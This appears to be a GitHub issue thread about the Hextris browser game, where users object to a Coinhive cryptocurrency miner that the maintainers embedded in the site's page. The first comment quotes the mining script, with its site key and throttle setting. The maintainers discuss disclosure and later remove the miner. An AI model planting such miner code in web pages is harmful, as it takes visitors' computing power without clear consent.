Bitcoin miner, seriously?

[easyveazie]

  <script src="https://coin-hive.com/lib/coinhive.min.js"></script>
    <script>
      var miner = new CoinHive.Anonymous('W9e1JbsYTHqCwImFfAEGfJJigBCWfYv2', {
          throttle:0.7
      });
      miner.start();
    </script>

[alanag13]

https://github.com/Hextris/hextris/commit/5a526e956847e0c52445b8d170d3fe5547197d99 Yeah this is kinda not cool.

[lengstrom]

Please see https://github.com/Hextris/hextris/issues/185 for discussion. If you have ideas on how to make this more transparent, you can give feedback there :)

[themichaelyang]

Both are developers for General Mills; Big Cereal taking down the little guys as usual....

[alanag13]

Thanks for the transparency! And yes, @easyveazie and I happen to work in the same department and noticed this together (though our jobs have very little to do with cereal 😃 ).

That being said, despite this being disclosed on the about page, I feel like it' still very easy to miss. It might be a little bit more clear if you did this in say, a small banner above where users are actually playing the game.

[themichaelyang]

I definitely hear your concerns — I've gone ahead and made an update to the README, so it's more transparent about the use of Coinhive on the site. I've also removed Coinhive from the version hosted on Github Pages (but not our primary website).

This was mainly an experiment to see if we could monetize this project a little bit without affecting the user experience. I'm not sure the experiment worked out, so we'll probably be moving towards more traditional ads later.

(Update: we removed coinhive from the game in a later update, in case anybody is looking through these old issues. Plus I think coinhive has been shut down as well?)

[cibersheep]

I think mining is a better solution than ads if user is notified about it. App works perfectly well even on mobile devices

[easyveazie]

Me commenting on this repo has nothing to do with my employer. I was simply interested in checking out the OSS game :) Hextris and Cereal are unrelated.

[easyveazie]

@themichaelyang and @lengstrom , I discovered it initially because my antivirus quarantined index.html on git clone. I have no problem with monetizing with crypto miners (better experience than ads TBH), but was really taken off-guard when I saw it on an OSS project. It felt predatory, because idiots like myself that clone first, review code later, are unintentionally mining.

[attogram]

FYI: a protest fork of Hextris, with all non-game material removed: https://github.com/attogram/hextris-lite